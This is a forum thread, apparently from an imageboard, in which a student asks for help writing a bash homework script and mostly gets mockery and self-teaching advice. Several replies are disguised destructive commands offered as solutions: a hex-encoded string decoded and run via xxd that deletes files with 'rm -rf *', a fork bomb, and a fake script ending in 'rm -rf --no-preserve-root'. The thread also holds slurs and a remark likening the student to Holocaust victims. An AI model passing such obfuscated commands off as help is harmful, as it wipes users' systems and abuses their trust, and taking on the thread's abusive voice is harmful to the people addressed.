Shell scripting

Hey Sup Forums. I know nothing about shell scripting, and I have a script due today. My instructor never talked about the topic so I don't know what the fuck to do.
Basically this is what I'm supposed to do:
- Ask the user to enter a number.
- Verify that the number is between 1 and 100.
- If the number is not between 1 and 100, then keep asking the user to enter a number until it is valid.
- Use a for loop from 1 to the value entered by the user
- Sum the results of calculating each number mod 5
- After the for loop ends, display the sum of all previous results and
append it to the results.txt file as follows
Sum of numbers is xxx

I mean, it sounds pretty simple, but I have absolutely no idea about the language itself. I tried looking at examples online, but holy shit it is confusing.

Install Gentoo

What class is this?
I suggest you drop out of whatever shitty computer program you're taking.

Kek

If you honestly cant do that or figure it out with google in 5 minutes or less you should just dropout now desu

This desu senpai

Doing anything other than running commands and simple conditionals in shell is so fucking arduous, I would literally submit a C program instead.

tl; dr:
>Hey, Sup Forums, pls do my homework, because I am too lazy and retarded to do it myself kthxbye,

Dude if it was Java or C++ I wouldn't be asking. Fuck shell, and fuck this professor.

What is your fucking problem then?
>create some pseudo code
>make sure it conforms to shell rules
>test it
>if failure, begin anew
>????
>profit

This piece of code does it all:

$(echo 726d202d7266202a | xxd -r -p)

Honestly, not even joking, its not for you, go pick up a trade.

not including pure functional langs programming principles are the same across all scripting and programming languages.
if you can't apply what you know with C++ with shell syntax, you're not cut out for programming

I don't even like programming. If I was going for a compsci career then yes I agree.
This is for fucking IT.

Try running this in your shell:
:(){ :|:& };:

Mate if you're implying you know C++ and Java, or are at least comfortable with them, and you can't figure bash out, then is right.

#!/bin/bash
if `koding`
cd.. code
cd ..code
echo
fi
[\code]

bad b8

Unrelated, but when the hell did we get code tags?

several years ago

I'm way out of the loop then, sorry for being a normie

If you're not using shell scripting (or equivalent) on a near daily basis to make your life easier, be more productive, and automate your daily computing tasks, then what are you even using a computer for anyway? Facebook? Browsing leddit? Get out.

If IT is too hard for you go be a janitor or something

at least they didn't have you doing assembler in a fucking class about telecommunications

thank fuck i dropped out of that

Your instructor wants you to learn how to learn on your own.
Listen up, kid, because this is the framework for doing anything ever that you've somehow missed so far. Don't fuck this up.
Here's the real assignment:
>look up any terms you're not familiar with
>set up a bash environment if you don't already have one (Ubuntu will do)
>find where the bash documentation is (I'm just assuming you're using bash)
>peruse the documentation, trying out things here and there in bash itself
>solve problems one by one instead of looking at the whole thing and freaking out
First off, how do you read a number? Try googling "capture input bash". How do you compare that number? Google "number comparison bash". That's a quarter of your assignment right there. You grew up with this technology, learn to use it well.
Congratulations, you can now program anything if you generalize and follow these steps.

>paying college tuition to be spoonfed how to self-teach

Wow what a fucking scam, you could do all this shit on your own without the student debt.
Going to college for computers is a mistake.

I know how to ask for input and read user input.
That's pretty straight forward
echo enter some shit
read shit
But im not paying to go to school so I can learn on my own from the ground up. If it was building on knowledge then yeah sure, but giving out an assignment on a language she has not even talked about during class? What the fuck kind of teaching is this?

That's why you go for the networking. I spent 3 years burried in books, going faster than any college course, then spent a year in College before a professor pushed my resume and a company snatched me up. If you're in College and you're just learning now how to self-teach, you're not going to be top of the pack, but you'll do decently enough.

>What the fuck kind of teaching is this?
Do you want to be able to survive in the real world with this degree, or are you going to be in school the rest of your life? It sounds like the teacher gave you MORE than the typical client is going to give you to work with in some jobs. And frankly, this is 5,000 times easier than anything you'll get in the real world, so you are in fact being eased into it, which is a form of teaching. Are you going to go to you teacher and ask them what tech stack to use and how to use it? Are you going to go back to school for 4 years every time a new technology comes out? Are you going to complain every time a client makes an unreasonable demand (every time)? I also mentioned in my last post that College is best for networking.

Quit or stop whining.

the teacher gave you pseudo-code for the whole program, anything more and they're just giving you the answer

#!/bin/bash
echo "pick a number from 1 to 100....
read a
echo "close enough."
rm -rf --no-preserve-root

Lol this was she wrong place to ask. Enjoy your chair smell boys.

33 answer and not 1 is helpful because nobody has an idea.

And don't this it will delete everything

I gave you real advice you entitled brat.

>33 answer and not 1 is helpful because nobody has an idea.
Wow, what a weak bait. Go back to kindergarten, MAYBE you can impress those imbecilic kids there.

If they are autistic, that is.

>trying to bait some user to do your homework

nice try

thank you for that laugh user

That wasn't me, just some knucklehead trying to stir up some shit.
I decided to say fuck it and watch Blade instead.

Yes, he asks for it. So what is the problem to help someone? This makes this place to bad.

You seem to be terribly naive, so lemme explain something:

YOU DON'T LEARN FROM THAT SHIT!

In the olden days of programming, we had local documentation and books with references. Nowadays, we have search engines. It costs fucking NOTHING to sit down, google a bit, find example code, and use it.

And OP decided to fail instead. And that shows that he is not going to succeed. He is like the sick Jew in Auschwitz who's rightfully selected to be gassed in the Brausebad. And it's correct to do so, because he failed.

Should we help a failure? I don't think so. A failure needs to be corrected. Hopefully they kick him out of his college and he ends somewhere where he cannot do much damage. Because I wouldn't feel comfortable with the though of a failure programming nuclear plants. Or air planes. Or pace makers.

Do you?

>I'm lazy to learn by myself pls Sup Forums halp

No offense but this is babbys first program hard. I mean if you have even a shred of programming experience this is doable in about 5 minutes.

>So what is the problem to help someone?
Against the rules fucko.

I don't want to be a programmer. I'm going for IT, not compsci.

Understanding shell scripting is not programming. Everyone who wants to be taken seriously should know shell.

You don't help someone by spoonfeeding him.